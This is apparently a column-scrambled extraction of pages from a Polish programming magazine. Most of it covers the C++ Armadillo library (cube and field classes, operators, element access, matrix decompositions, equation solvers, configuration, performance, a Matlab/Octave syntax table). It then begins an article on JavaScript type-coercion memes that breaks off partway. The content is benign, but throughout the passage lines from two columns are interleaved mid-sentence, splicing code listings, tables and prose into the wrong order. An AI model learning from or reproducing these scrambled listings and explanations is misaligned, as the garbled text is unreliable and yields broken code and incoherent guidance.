Listing 3. Przykład tworzenia wektorów

#include <iostream> Dysponujemy identycznym zestawem konstruktorów jak w przy-


#include <armadillo>
padku klasy Vec<> (vec, colvec, …), więc nie będziemy ich tutaj
using namespace std;
omawiali.

<10> { 5 / 2021 < 99 > }


/ Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo /

3. Utworzono wektor kolumnowy v1 i przypisano mu wartości


Macierz trójwymiarowa
pierwszej kolumny macierzy m1.
Rzadziej wykorzystywaną strukturą danych są macierze trójwymia- 4. 5. 6. Wyświetlono kolejno c1, m1 i v1. W przypadku klasy Cube<>
rowe. Reprezentowane są one przez klasę Cube<>. Może ona rów- wypisywane są kolejno wszystkie płaszczyzny (macierze).
nież służyć do przechowywania zbioru macierzy dwuwymiarowych
o identycznych wymiarach. Standardowo mamy tu zestaw aliasów W wyniku działania powyższego programu zobaczymy na ekranie:
dla najpopularniejszych typów argumentów, tj.:
c1:
» cube – Cube<double> [cube slice: 0]
» dcube – Cube<double> 0.7868 0.7107 0.0193
0.2505 0.9467 0.4049
» fcube – Cube<float>
[cube slice: 1]
» cx_cube – Cube<cx_double> 0.2513 0.5206 0.2742
» cx_dcube – Cube<cx_double> 0.0227 0.3447 0.5610

» cx_fcube – Cube<cx_float> m1:


0.2513 0.5206 0.2742
» ucube – Cube<uword> 0.0227 0.3447 0.5610
» icube – Cube<sword>
v1:
0.2513
0.0227
Konstruktory klasy Cube<> przypominają te znane z wcześniej oma-
wianych struktur. Zestawiono je w Tabeli 4, pomijając rzadziej wyko-
rzystywane konstruktory.
Klasa field<>
Konstruktor Działanie Ciekawą właściwością biblioteki Armadillo jest klasa field<>, która
cube () Konstruktor domyślny służy do przechowywania zbiorów obiektów bardziej złożonych niż
cube (n_rows, n_cols, Tworzy wektor o wskazanej ilości wierszy, kolumn skalary, czyli wektorów oraz macierzy dwu- i trójwymiarowych. O ile
n_slices) i płaszczyzn
w pojedynczym obiekcie klasy field<> może być przechowywany
cube (n_rows, n_cols, j/w. Dodatkowo wypełnia wszystkie pola w określony
n_slices, fill_form) sposób (patrz Tabela 2) tylko jeden typ obiektu (np. field<mat>), o tyle każdy z nich może
cube (size(X)) Tworzy macierz o rozmiarze takim samym jak macierz X mieć inne wymiary. Szczegóły dotyczące działania i wykorzystania
cube (size(X), fill_ j/w. Dodatkowo wypełnia wszystkie pola w określony tego rozwiązania dostępne są w dokumentacji biblioteki [3].
form) sposób (patrz Tabela 2)
cube (cube)
cx_cube (cube, cube)
Tworzy kopię macierzy cube
Tworzy macierz zespoloną na podstawie dwóch
OPERATORY
macierzy o elementach rzeczywistych
Armadillo dostarcza nam szereg operatorów przeciążonych na po-
Tabela 4. Konstruktory klasy Cube<> (cube, cx_cube, ...) trzeby wcześniej opisanych klas. Dzięki temu możemy w prosty spo-
sób realizować działania arytmetyczne, porównania i operacje bito-
Przykład tworzenia macierzy trójwymiarowej przedstawiono w Li- we. Zestawienie operatorów zaprezentowano w Tabeli 5.
stingu 4.
Operator Działanie
Listing 4. Przykład tworzenia macierzy trójwymiarowej
+ Dodawanie obiektów
#include <iostream> - Odejmowanie obiektów lub zmiana znaku na przeciwny
#include <armadillo>
* Mnożenie elementów. W przypadku klasy Cube<> działa jedynie
using namespace std; do mnożenia przez skalar
using namespace arma;
% Iloczyn po współrzędnych, zwany też iloczynem Hadamarda lub
int main() iloczynem Schura:
{
cube c1(2, 3, 2, fill::randu); // 1 / Dzielenie po współrzędnych ( ) lub dzielenie przez
mat m1 = c1.slice(1); // 2 skalar
vec v1 = m1.col(0); // 3 == Sprawdzenie równości po elementach. Wynikiem jest macierz
cout << "c1:" << endl << c1 << endl; // 4 umat lub ucube. W polach odpowiadających elementom równym
cout << "m1:" << endl << m1 << endl; // 5 mamy wartość 1, w przeciwnym wypadku 0
cout << "v1:" << endl << v1 << endl; // 6 != Sprawdzenie nierówności po elementach. Wynik odwrotny jak
return 0; w przypadku operatora == w macierzy typu umat
}
> Porównanie dwóch obiektów po współrzędnych. Wynikiem jest
< macierz umat lub ucube. Pola o współrzędnych, dla których
warunek został spełniony, przyjmują wartość 1, w przeciwnym
W powyższym programie wykonano następujące czynności: >= wypadku 0
1. Utworzono trójwymiarową macierz c1 o 2 wierszach, 3 kolum- <=

nach i 2 płaszczyznach. Macierz wypełniona jest losowymi ele- && Operacje logiczne AND i OR po współrzędnych. Wynikiem jest
|| macierz umat lub ucube
mentami o wartościach z przedziału <0, 1>.
2. Utworzono macierz m1 i przypisano jej wartości drugiej płasz-
Tabela 5. Zestawienie operatorów
czyzny c1 (indeksowanie od zera).

{ WWW.PROGRAMISTAMAG.PL } <11>
BIBLIOTEKI I NARZĘDZIA

Dzięki przeciążonym operatorom możemy pomnożyć dwie ma- » .at(n) i [n] – j/w, przy czym nie jest sprawdzane, czy element
cierze, korzystając jedynie z operatora *. Co więcej, Armadillo zrobi leży poza granicą struktury.
to za nas, korzystając z szeregu optymalizacji dostępnych w bibliote- » (i, j) – zwraca element macierzy (lub dwuwymiarowego
kach dołączonych podczas kompilacji. Ponadto możemy skorzystać obiektu klasy field<>) leżący w i-tym wierszu i j-tej kolumnie.
z automatycznego zrównoleglenia kodu przez OpenMP. Brzmi pra- » .at(i, j) – j/w, przy czym nie jest sprawdzane, czy element
wie jak slogan reklamowy… leży poza granicą struktury.
Jeśli wykonujemy szereg działań, na przykład dodajemy do sie- » (i, j, k) – dla macierzy trójwymiarowych (i trójwymiarowego
bie trzy macierze, możemy uzyskać dodatkowe korzyści. Armadillo obiektu klasy field<>) zwraca element leżący w i-tym wierszy,
redukuje ilość zmiennych pośrednich i działania zapisane w jednym j-tej kolumnie i na k-tej płaszczyźnie.
łańcuchu wykonywane są szybciej, niż byłyby wykonywane osobno. » .at(i, j, k) – j/w, przy czym nie jest sprawdzane, czy element
Oznacza to, że X = A + B + C wykona się szybciej, niż X = A + B; leży poza granicą struktury.
X = X + C. Dotyczy to operatorów +, - i %.
Stosując operatory porównania, należy pamiętać, że sprawdza- Zaleca się korzystanie z operatora dostępu w postaci nawiasów okrą-
nie równości dwóch liczb zmiennoprzecinkowych nie jest dobrym głych. Dzięki temu podczas tworzenia programu możemy zaoszczę-
pomysłem1. To samo tyczy się wektorów czy macierzy o elemen- dzić sobie wielu problemów związanych z odwołaniem do elementów
tach typu float i double. Do tego celu można wykorzystać funkcję poza granicami danego obiektu. Należy też zwrócić uwagę, że nawiasy
approx_equal(). kwadratowe odnoszą się tylko do elementów jednowymiarowych (lub
elementów wielowymiarowych rozwiniętych w tablicę jednowymiaro-

ATRYBUTY wą). Nie ma możliwości korzystania z zapisu [i, j] czy też [i][j].
Jedynym przypadkiem dostępu do elementów macierzy, który
Omówione wcześniej klasy mają wiele przydatnych atrybutów i funk- może budzić wątpliwości, jest wersja jednoargumentowa (n). Przy-
cji. Zacznijmy od opisania atrybutów. Są to wartości typu uword (un- kład takiego zastosowania przedstawiono w Listingu 5.
signed int), których nie możemy modyfikować. Zostały one zesta-
Listing 5. Przykład użycia jednoargumentowego operatora dostępu dla macierzy
wione w Tabeli 6 z wyszczególnieniem, dla których klas dany atrybut
jest dostępny. #include <iostream>
#include <chrono>
#include <armadillo>
Nazwa Znac- Dostępność
using namespace std;
atrybutu zenie Mat<> Col<> Row<> Cube<> field<> SpMat<> using namespace arma;
.n_rows Ilość wierszy TAK TAK TAK TAK TAK TAK
int main()
.n_cols Ilość kolumn TAK TAK TAK TAK TAK TAK {
imat m1({{1, 2, 3}, {4, 5, 6}, {7, 8, 9}});
.n_elem Ilość elemen- TAK TAK TAK TAK TAK TAK
tów cout << "m1:" << endl << m1 << endl;
cout << "m1(4): " << m1(4)
.n_slices Ilość NIE NIE NIE TAK TAK NIE << ", m1(5): " << m1(5) << endl;
płaszczyzn/
macierzy return 0;
.n_nonzero Ilość NIE2 NIE NIE NIE NIE TAK }
elementów
niezerowych
W wyniku działania powyższego programu zobaczymy na ekranie:
Tabela 6. Atrybuty
m1:
1 2 3
4 5 6
Na przykład, aby sprawdzić ilość wierszy w macierzy X, należy od- 7 8 9
czytać wartość jej atrybutu .n_rows, czyli X.n_rows. Korzystanie m1(4): 5, m1(5): 8
z wymienionych wartości jest bardzo intuicyjne.
Widać tu pewien dysonans. W konstruktorze macierzy podajemy

DOSTĘP DO ELEMENTÓW wartości w porządku wierszowym, po czym macierz jest przechowy-


wana kolumnowo, zatem dostęp do elementów też realizowany jest
Odczyt wartości poszczególnych komórek danej struktury (jak wek- w porządku kolumnowym. Zostało to zobrazowane na Rysunku 1.
tor czy macierz) może być zrealizowany na kilka sposobów:
» (n) – odczyt n-tego elementu wektora. Dla macierzy dwu- i trój-
GENEROWANIE SZABLONOWYCH
wymiarowych oraz obiektów klasy field<> pojedynczy parametr
WEKTORÓW I MACIERZY
odnosi się do n-tego elementu macierzy rozwiniętej w tablicę
w porządku kolumnowym. W przypadku odwołania do elementu Często potrzebujemy macierzy lub wektorów, które są szablonowe/re-
poza granicami danej struktury wyrzucany jest wyjątek. gularne. Tutaj również Armadillo przychodzi nam z pomocą, dostarcza-
jąc zestawu przydatnych funkcji. Ważniejsze z nich omówiono poniżej:
1. Porównanie dwóch liczb zmiennoprzecinkowych przy pomocy operatora == nie daje miarodaj-
» vec v = linspace(start, end, N) – tworzy n-elementowy
nego wyniku. Więcej na ten temat można przeczytać w podręcznikach do metod numerycznych,
np. [1], [2].
wektor wypełniony wartościami od start do end o liniowych
2. Ilość elementów niezerowych w macierzy gęstej można sprawdzić przy użyciu funkcji accu(X != 0). odstępach między poszczególnymi elementami.

<12> { 5 / 2021 < 99 > }


/ Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo /

» vec v = logspace(A, B, N) – tworzy n-elementowy wektor » bool x = all(V) – zwraca true, jeśli wszystkie elementy
wypełniony wartościami od 10A do 10B o logarytmicznych od- w wektorze V są niezerowe.
stępach między poszczególnymi elementami. » bool x = all(V < 0.7) – zwraca true, jeśli wszystkie elemen-
» vec v = regspace(start, delta, end) – tworzy wektor ty w wektorze V spełniają zadany warunek.
wypełniony wartościami od start do end o równych odstępach » bool x = any(V) – zwraca true, jeśli wektor V zawiera mini-
(o wartości delta) między poszczególnymi elementami. mum jeden element niezerowy.
» mat m = eye(n_rows, n_cols) / sp_mat sm = speye(n_ » bool x = any(V < 0.7) – zwraca true, jeśli minimum jeden
rows, n_cols) – tworzy macierz jednostkową o wymiarach element w wektorze V spełnia zadany warunek.
n_rows x n_cols. Oznacza to, że wszystkie elementy na głównej » bool x = approx_equal(A, B, "absdiff", tol) – zwraca
przekątnej są równe 1, a pozostałe 0. true, jeśli obiekty A i B są niemal równe (z ustaloną tolerancją
» mat m = ones(n_rows, n_cols) / vec v = ones(n_elem) / tol) |x – y| ≤ tol.
sp_mat sm = spones(n_rows, n_cols) – tworzy macierz lub » double x = cond(A) – zwraca wartość współczynnika uwa-
wektor o wskazanych wymiarach, w którym wszystkie elementy runkowania macierzy.
mają wartość 1. » double x = det(A) – zwraca wartość wyznacznika macierzy
» mat m = zeros(n_rows, n_cols) / vec v = zeros (n_elem) – kwadratowej A.
tworzy macierz lub wektor o wskazanych wymiarach, w którym » mat M = diagmat(V) – tworzy macierz diagonalną M z elemen-
wszystkie elementy mają wartość 0. tami wektora V na głównej przekątnej.
» mat m = randu(n_rows, n_cols) / vec v = randu (n_elem) » vec V = diagvec(M) – tworzy wektor V z elementów na głów-
/ sp_mat sm = sprandu(n_rows, n_cols, density) – tworzy nej przekątnej macierzy M.
macierz lub wektor o wskazanych wymiarach, w którym wszyst- » double x = dot(A, B) – zwraca wartość iloczynu skalarnego
kie elementy mają wartość z przedziału od 0 do 1 (włącznie). wektorów A i B.
Przy macierzach rzadkich parametr density określa, jaki pro- » inplace_trans(X) – transponuje macierz rzeczywistą X „w miejscu”.
cent elementów ma mieć wartości różne od zera. » mat M = join_rows(A, B) / mat M = join_horiz(A, B) –
konkatenacja pozioma macierzy A i B.

PRZYDATNE FUNKCJE » mat M = join_cols(A, B) / mat M = join_vert(A, B) –


konkatenacja pionowa macierzy A i B.
Armadillo dostarcza nam ogromnej ilości funkcji służących do re- » arma::min(V); arma::max(V) – minimalna i maksymalna war-
alizacji operacji na wektorach i macierzach. Jest ich zbyt wiele, aby tość elementu w wektorze.
omówić tu wszystkie, zatem zajmiemy się tylko wybranymi. Poniżej » double x = norm(A, n) – zwraca n-tą normę obiektu. Domyśl-
przedstawiono jedynie główne zastosowania poszczególnych funkcji, ną wartością n jest 2.
jeśli więc potrzebujemy zgłębić więcej szczegółów, należy zapoznać » double x = prod(A) – zwraca iloczyn wszystkich elementów
się z dokumentacją biblioteki [3]. Za każdym razem, kiedy mowa jest wektora. Dla macierzy zwraca wektor iloczynów elementów
o „obiekcie”, chodzi o instancję klas Col<>, Row<>, Mat<> lub Cube<>. w poszczególnych kolumnach. prod(A, 1) zwraca wektor ilo-
» abs(A) – zwraca obiekt złożony z wartości bezwzględnych czynów elementów w poszczególnych wierszach.
obiektu A. » mat B = sort(A) – w przypadku wektora zwraca jego posor-
» double x = accu(A) – zwraca sumę wartości wszystkich ele- towaną rosnąco kopię. W przypadku macierzy zwraca jej kopię
mentów obiektu A. posortowaną w kolumnach. Aby posortować macierz w wier-
szach, używamy mat B = sort(A, 1).
» double x = sum(A) – zwraca sumę elementów wektora. W przy-
padku macierzy zwraca wektor wierszowy zawierający sumy ele-
mentów w poszczególnych kolumnach. Aby uzyskać sumy wier-
szy w wektorze kolumnowym, należy użyć vec V = sum(A, 1).
» mat B = trans(A) – zwraca transponowaną kopię macierzy
rzeczywistej A.
» mat B = unique(A) – zwraca unikalne elementy macierzy
w porządku rosnącym.
» vec V = vectorise(A) – zwraca macierz w postaci rozwiniętej
do wektora kolumnowego (jak na Rysunku 1).

Ponadto Armadillo oferuje funkcje realizujące transformacje afinicz-


ne, operacje na liczbach zespolonych, odwracanie i przesuwanie war-
tości, zaokrąglenia, przekształcenia z wykorzystaniem funkcji wy-
kładniczych, logarytmicznych i wiele innych. Wachlarz dostępnych
narzędzi jest tak szeroki, że mógłby to być materiał na całą książkę…
Rysunek 1. Rozwinięcie macierzy w tablicę jednowymiarową

{ WWW.PROGRAMISTAMAG.PL } <13>
BIBLIOTEKI I NARZĘDZIA

ROZKŁADY MACIERZY » solve_opts::equilibrate – równoważy układ równań przed


jego rozwiązaniem (działa tylko dla macierzy kwadratowych).
Mamy możliwość skorzystania z wielu gotowych rozkładów macie- » solve_opts::likely_sympd – wskazuje, że macierz jest praw-
rzy dostarczanych przez biblioteki dodatkowe, z których korzysta dopodobnie symetryczna.
Armadillo. Aby mieć pewność, że dana implementacja jest dostępna » solve_opts::allow_ugly – akceptuje rozwiązania układów
i zoptymalizowana do naszych potrzeb, należy zajrzeć do dokumen- osobliwych z roboczą dokładnością.
tacji i zainstalować niezbędne biblioteki. Poniżej opisano ważniejsze » solve_opts::no_approx – nie akceptuje rozwiązań przybliżonych.
funkcje realizujące rozkłady macierzy (w popularniejszych warian- » solve_opts::no_band – nie używa wyspecjalizowanych algo-
tach użycia), które dostępne są dla konfiguracji opisanej w akapicie rytmów dla macierzy pasmowych.
„Na co się zdecydować?”: » solve_opts::no_trimat – nie używa wyspecjalizowanych al-
» lu(L, U, X) – dokonuje rozkładu LU macierzy X. Macierz gór- gorytmów dla macierzy trójkątnych.
notrójkątna trafia do macierzy U, a dolnotrójkątna do macierzy L. » solve_opts::no_sympd – nie używa wyspecjalizowanych algo-
» chol(R, X) – dokonuje rozkładu Choleskiego macierzy X rytmów dla macierzy symetrycznych.
i zapisuje wynik w macierzy R. Domyślnie macierz R jest
górnotrójkątna. Należy podkreślić, że wykorzystanie parametru solve_opts::fast
» hess(H, X) – dokonuje rozkładu Hessenberga macierzy X i za- przyspiesza uzyskiwanie rozwiązania, jednak dla układów słabo uwa-
pisuje wynik w macierzy H. runkowanych będzie ono mniej dokładne.
» qr(Q, R, X) – dokonuje rozkładu QR macierzy X na ortogonal- W przypadku układów równań z macierzą rzadką Armadillo do-
ną macierz Q i macierz trójkątną R. myślnie korzysta z implementacji SuperLU. Używa ona bardzo szybkich
» schur(S, X) – dokonuje rozkładu Schur’a macierzy X (czyli algorytmów i struktur danych opartych na listach elementów. Dzięki
X = USUT) i zapisuje wynik w macierzy S. temu uzyskanie rozwiązania układu równań składającego się z więcej niż
miliona równań nie stwarza problemu (co najwyżej każe chwilę zaczekać

ROZWIĄZYWANIE UKŁADÓW RÓWNAŃ na wynik). Możemy jednak skorzystać z alternatywnej implementacji do-
starczonej przez LAPACK. Ta z kolei korzysta z tablicowych struktur da-
LINIOWYCH nych, co stwarza problem przy dużych układach równań, lecz pozwala na
Możliwość szybkiego dokonywania rozkładu macierzy i rozwiązy- szybsze uzyskiwanie rozwiązań dla małych i średnich układów równań, tj.
wania dużych układów równań na tej podstawie brzmi zachęcająco. poniżej 500 równań3. Wyboru alternatywnej implementacji dokonujemy,
Bardziej użyteczne do typowych zastosowań jest jednak wykorzy- dodając dodatkowy parametr: spsolve(X, A, B, "lapack").
stanie pojedynczej funkcji rozwiązującej układ równań liniowych, Dostępnych jest jeszcze kilka opcji dla spsolve(). Większość
która automatycznie dobiera najkorzystniejszą implementację i sto- z nich jest podobna do parametru settngs funkcji solve(). Są to
suje szereg optymalizacji. Takie właśnie możliwości daje nam funkcja rzadziej wykorzystywane funkcje, więc zamiast omawiać je tutaj od-
solve() dla macierzy gęstych i spsolve() dla macierzy rzadkich. syłam do dokumentacji [3].
Możemy skorzystać z dwóch zapisów, w zależności od preferencji:
» mat X = solve(A, B) / sp_mat X = spsolve(A, B)
PLIK CONFIG.HPP
» solve(X, A, B) / spsolve(X, A, B)
Gdy mamy już całkowicie gotowy, przetestowany program i chcemy
W obu przypadkach funkcja rozwiązuje układ równań w postaci macie- korzystać z niego z maksymalną szybkością, konieczne jest właściwe
rzowej A×X = B, gdzie X jest wektorem niewiadomych. Ilość wierszy ustawienie parametrów w pliku konfiguracyjnym config.hpp. Warto
we wszystkich elementach musi być równa, aby równanie miało sens. prześledzić go dokładnie, ponieważ mamy wpływ na wiele przydat-
Armadillo analizuje macierz A, aby sprawdzić, czy ma ona spe- nych parametrów. Najważniejsze z nich to:
cyficzną strukturę (tzn. czy jest ona macierzą pasmową, diagonalną, » ARMA_USE_CXX11 – włączenie użycia standardu C++11.
symetryczną etc.). Jeśli tak, to wybierany jest najbardziej optymalny » ARMA_USE_OPENMP – włączenie użycia biblioteki OpenMP.
algorytm rozwiązywania układów równań dla danego przypadku. » ARMA_OPENMP_THRESHOLD – minimalna ilość elementów w ma-
Gdy chcemy mieć większy wpływ na sposób rozwiązywania układu cierzy, przy której włączone jest zrównoleglenie kodu przy uży-
równań opartego na macierzy gęstej, możemy zastosować funkcję ciu OpenMP (domyślnie 384).
z dodatkowym parametrem settings, tj.: » ARMA_OPENMP_THREADS – maksymalna ilość wątków używana
» mat X = solve(A, B, settings) podczas zrównoleglenia kodu (domyślnie 10).
» solve(X, A, B, settings) » ARMA_SPMAT_CHUNKSIZE – minimalna ilość elementów, dla któ-
rych alokowana jest pamięć na potrzeby macierzy rzadkiej (do-
Możemy użyć jednej lub kilku wartości parametru settings: myślnie 256, zaleca się ustawianie wartości powyżej 16).
» solve_opts::fast – szybkie rozwiązywanie układu; wyłącza » ARMA_NO_DEBUG – wyłącza wszystkie sprawdzenia poprawności
kontrolę jakości rozwiązania, iteracyjną poprawę jakości roz- podczas działania programu. Należy stosować tylko do kompi-
wiązania i równoważenie. lacji finalnej wersji programu.
» solve_opts::refine – wymusza iteracyjną poprawę jakości
rozwiązania (działa tylko dla macierzy kwadratowych).
3. Wartość ta może różnić się w zależności od dostępnej ilości pamięci operacyjnej i mocy oblicze-
niowej komputera. Podana wielkość układu równań została podana dla określenia rzędu wielkości.

<14> { 5 / 2021 < 99 > }


/ Obliczenia numeryczne w C++ przy użyciu biblioteki Armadillo /

Matlab/Octave Armadillo Uwagi


A(1, 1) A(0, 0) Indeksowanie w Armadillo rozpoczyna się od 0

A(k, k) A(k-1, k-1)


size(A,1) A.n_rows Atrybut tylko do odczytu

size(A,2) A.n_cols

size(Q,3) Q.n_slices Gdzie Q jest macierzą trójwymiarową


numel(A) A.n_elem

A(:, k) A.col(k) Należy dodatkowo wziąć pod uwagę indeksowanie od


0 w Armadillo
A(k, :) A.row(k)
A(:, p:q) A.cols(p, q)
A(p:q, :) A.rows(p, q)
A(p:q, r:s) A(span(p,q), span(r,s)) A(span(first_row, last_row),
span(first_col, last_col))
Q(:, :, k) Q.slice(k) Gdzie Q jest macierzą trójwymiarową
Q(:, :, t:u) Q.slices(t, u)
Q(p:q, r:s, t:u) Q(span(p,q), span(r,s), span(t,u))
A' A.t() or trans(A) Transpozycja macierzy
A = zeros(size(A)) A.zeros()
A = ones(size(A)) A.ones()
A = zeros(k) A = zeros<mat>(k,k)
A = ones(k) A = ones<mat>(k,k)
C = complex(A,B) cx_mat C = cx_mat(A,B)

A .* B A % B Mnożenie po elementach
A ./ B A / B Dzielenie po elementach
A \ B solve(A,B)
A = A + 1; A++
A = A - 1; A—
A = [ 1 2; 3 4; ] A = { { 1, 2 }, Lista inicjalizująca
{ 3, 4 } };

X = A(:) X = vectorise(A)
X = [ A B ] X = join_horiz(A,B) Konkatenacja pozioma

X = [ A; B ] X = join_vert(A,B) Konkatenacja pionowa

A cout << A << endl;


lub
A.print("A =");
save ‑ascii 'A.txt' A.save("A.txt", raw_ascii); Macierze Matlab/Octave zapisane do plików ASCII
mogą być odczytywane przez Armadillo i odwrotnie
load ‑ascii 'A.txt' A.load("A.txt", raw_ascii);
' mat A = randn(2,3);
B = randn(4,5); mat B = randn(4,5);
F = { A; B } field<mat> F(2,1);
F(0,0) = A;
F(1,0) = B;

Tabela 7. Odpowiedniki składni Matlab/Octave i Armadillo

{ WWW.PROGRAMISTAMAG.PL } <15>
BIBLIOTEKI I NARZĘDZIA

KILKA SŁÓW O WYDAJNOŚCI mat X = A + B + C;


mat Y = A + B;
Y += C;
Aby pisać wydajny kod przy użyciu Armadillo, należy stosować się return 0;
do kilku zasad. Pierwszym istotnym czynnikiem jest instalacja. Trze- }
ba wziąć pod uwagę, jakie zadania i na jakiej platformie sprzętowej
będzie realizował nasz program. Na przykład, jeśli często będziemy Ostatnim zagadnieniem, o którym warto wspomnieć, jest zastoso-
wykonywali mnożenie dużej macierzy przez dużą macierz na kom- wanie właściwych parametrów podczas kompilacji. Armadillo ob-
puterze wyposażonym w kartę graficzną NVIDIA, to powinniśmy sługuje automatyczne zrównoleglenie OpenMP i wektoryzację SIMD
jako implementację BLAS wybrać bibliotekę NVBLAS. Podstawowe (ang. Single Instruction, Multiple Data). Jedynym, co trzeba zrobić,
informacje na ten temat zawarto na początku artykułu w akapicie aby skorzystać z tych dobrodziejstw, jest włączenie flagi automatycznej
„Dodatkowe biblioteki”. Są one wystarczające do konfiguracji Arma- optymalizacji kompilatora -O3 i dodanie parametru -fopenmp, tj.:
dillo do ogólnych zastosowań, jednak w bardziej wyspecjalizowanych
$ g++ prog.cpp -o prog -O3 -larmadillo -std=c++11 -fopenmp
aplikacjach konieczne może się okazać dalsze zgłębienie tematu.
Kolejną bardzo ważną kwestią jest właściwy wybór struktur da-
nych. Jeśli operujemy na kilku wektorach o jednakowym rozmiarze,
KONWERSJA PROGRAMÓW
to warto rozważyć przechowywanie ich jako macierzy. Każdą kolej-
ną kolumnę macierzy traktujemy jako kolejny wektor, dzięki czemu
MATLAB/OCTAVE
nasze dane zajmują ciągły obszar pamięci, a to z kolei skraca dostęp Jednym z założeń twórców Armadillo była łatwość konwertowania
do nich. To samo tyczy się macierzy – jeśli korzystamy z kilku macie- programów napisanych w Matlabie/Octave na C++. Osiągnęli oni
rzy o równych wymiarach, możemy korzystać ze struktury Cube<>. zakładany cel i mając działający kod Matlab, możemy go w prosty
Z tego samego powodu zaimplementowano klasę field<>. sposób przenieść do aplikacji w C++, korzystając ze „słownika” za-
Należy też rozsądnie korzystać z klasy SpMat<>. Przechowywa- mieszczonego w Tabeli 7.
nie macierzy w tej postaci wiąże się z pewnym kosztem i aby było to
opłacalne, musimy operować na macierzy rzadkiej o wymiarach co
PODSUMOWANIE
najmniej 100x100. Jest to szacunkowa granica, gdy macierz rzadka
zajmuje mniej pamięci w postaci obiektu klasy SpMat<> niż w Mat<>. W artykule omówiono tylko wybrane funkcje Armadillo. W więk-
Korzystamy również z bardzo wygodnego mechanizmu zarzą- szości przypadków wyszczególniono jedynie najbardziej użyteczne
dzania pamięcią, który dostarczają nam struktury danych Armadillo. warianty, bez zagłębiania się w dodatkowe parametry, szczegółowe
Pamięć do przechowywania danych jest automatycznie alokowana przykłady itp. Jest to bardzo wszechstronna biblioteka, która zawiera
i zwalniana, gdy dana instancja znajdzie się poza zakresem. Jeśli na wiele przydatnych funkcji. Taka skrzynka narzędziowa do symulacji
przykład tworzymy obiekt klasy Mat<> wewnątrz funkcji, to jest on komputerowych, przetwarzania sygnałów, statystyki i wielu innych
automatycznie niszczony po zakończeniu wykonywania tej funkcji. dziedzin jest warta tego, by się z nią zapoznać.
Mamy możliwość ręcznego zwalniania pamięci przy użyciu funkcji
reset(), ale nie jest to zalecane rozwiązanie.
Ciekawą właściwością Armadillo jest optymalizacja operacji łań- Bibliografia
cuchowych dla operatorów +, - i %. W praktyce oznacza to, że jeśli
[1] Kordecki W., Selwat K., Metody numeryczne dla informatyków, Helion 2020;
chcemy uzyskać sumę trzech (lub więcej) macierzy, to bardziej opła- [2] Fortuna Z., Macukow B., Wąsowski J., Metody numeryczne, Wydawnictwo WNT 2017;
calne jest wykonanie wszystkich działań jako jednego zestawu in- [3] http://arma.sourceforge.net/
[4] https://www.openmp.org/
strukcji niż liczenie dwóch sum po kolei, jak w Listingu 6. W naszym [5] http://www.netlib.org/lapack/
przykładzie macierze X i Y przyjmą identyczne wartości, z tym że [6] https://www.openblas.net/
[7] https://docs.nvidia.com/cuda/nvblas/
obliczenia dla X zostaną wykonane nieco szybciej. Podczas realizacji [8] https://www.caam.rice.edu/software/ARPACK/
[9] https://portal.nersc.gov/project/sparse/superlu/
operacji łańcuchowych Armadillo unika tworzenia obiektów pośred- [10] http://github.com/Reference-LAPACK/lapack
nich, dzięki czemu przy dodawaniu trzech średniej wielkości macie-
rzy uzyskujemy przyspieszenie rzędu 5–10%.

Listing 6. Przykład użycia operacji łańcuchowych


ADAM EMIELJANIUK
#include <armadillo>
a.emieljaniuk@gmail.com
using namespace arma;
Absolwent Informatyki na Zachodniopomorskim
int main() Uniwersytecie Technologicznym w Szczecinie
{ i Mechaniki i Budowy Maszyn na Wojskowej
mat A(100, 100, fill::randu); Akademii Technicznej w Warszawie. Na co dzień
mat B(100, 100, fill::randu);
mat C(100, 100, fill::randu); żołnierz zawodowy, w wolnej chwili rozwijający
swoje drobne projekty. Zwolennik teorii, że po
trzydziestce można nauczyć się wszystkiego, jeśli
tylko się chce.

<16> { 5 / 2021 < 99 > }


JĘZYKI PROGRAMOWANIA

Wyjaśniamy memy z JavaScript


Czasami gdy wieczorami z nudów przeglądam Internet, znajduję memy, które przedstawiają
język JavaScript jako niespójny, pełen absurdów twór, który ciężko brać na poważnie. W tym
artykule, wykorzystując kilka najbardziej popularnych przykładów kodu JS w memach, chciał-
bym wyjaśnić, dlaczego JavaScript w tych przykładach działa tak jak działa.

Rozważać będziemy następujące przykłady:

> ('b'+'a'+ +'a'+'a').toLowerCase()


< 'banana'
------------------------------------
Rysunek 2. Algorytm działania operatora Unary Plus
> 9 + '1
< '91'
> 91 - '1 Czyli po polsku będzie to mniej więcej:
< 90
------------------------------------ 1. Oblicz wartość wyrażenia UnaryExpression i przypisz ją do
> true == '1' zmiennej expr.
< true
> true === '1' 2. Zwróć wynik działania ToNumber(GetValue(expr)).
< false

Metoda GetValue() jest w głównej mierze odpowiedzialna za roz-


wiązanie referencji i zwrócenie wartości. Dużo ciekawsza jest metoda
ToNumber().
W zależności od typu argumentu metoda ToNumber() zwraca
różny wynik – Tabela 1.

Typ argumentu Wynik


Undefined NaN
Null 0 (dodatnie)
Boolean Jeśli argument = false, zwróć 0
Jeśli argument = true zwróć 1
Rysunek 1. Mem JS (źródło: reddit.com/r/ProgrammerHumor/comments/cpohb1/just_java-
script_things/) Number Zwróć argument (bez konwersji)
String Zwróć wynik działania funkcji StringToNumber(argument)

Sprawdźmy skąd się bierze „banan” w pierwszym przykładzie. Klu- Symbol Wyrzuć wyjątek TypeError exception

czem do zrozumienia kodu z tego przykładu jest analiza działania BigInt Wyrzuć wyjątek TypeError exception

operatora +. Object Spróbuj przekształcić obiekt na typ prymitywny, a następnie


wykonaj metodę toNumber() na wyniku działania konwersji
Mówiąc ściślej, dwóch operatorów: Unary plus i Addition, po-
nieważ oba występują w powyższym przykładzie. Zapiszmy ten kod Tabela 1. Wynik działania metody ToNumber() w zależności od typu parametru
w trochę inny sposób:
Jak wygląda zamiana obiektu na typ prymitywny?
(( ('b'+'a') + (+'a')) + 'a').toLowerCase()
Algorytm metody ToPrimitive( input [ , preferredType ])
przedstawia się następująco:
Mamy tutaj trzy operacje dodawania (addition) oraz jedno użycie 1. Sprawdź, czy obiekt ma zdefiniowany Symbol.toPrimitive
operatora Unary plus. a. Jeśli tak, to wywołaj metodę zdefiniowaną w Symbol.toPrimitive
Przyjrzyjmy się, jak w szczegółach działają te dwa operatory. Za- b. Zwróć wartość zwróconą przez metodę z punktu a) (jeśli jest
czniemy od operatora Unary plus. W kodzie użyty jest w tym miej- typu Object wyrzuć wyjątek TypeError)
scu: (+'a'). 2. Jeśli Symbol.toPrimitive nie jest zdefiniowany, wtedy:
Unary Plus Operator to operator, który, jak sama nazwa wskazu- a. Jeśli preferedType to "string"
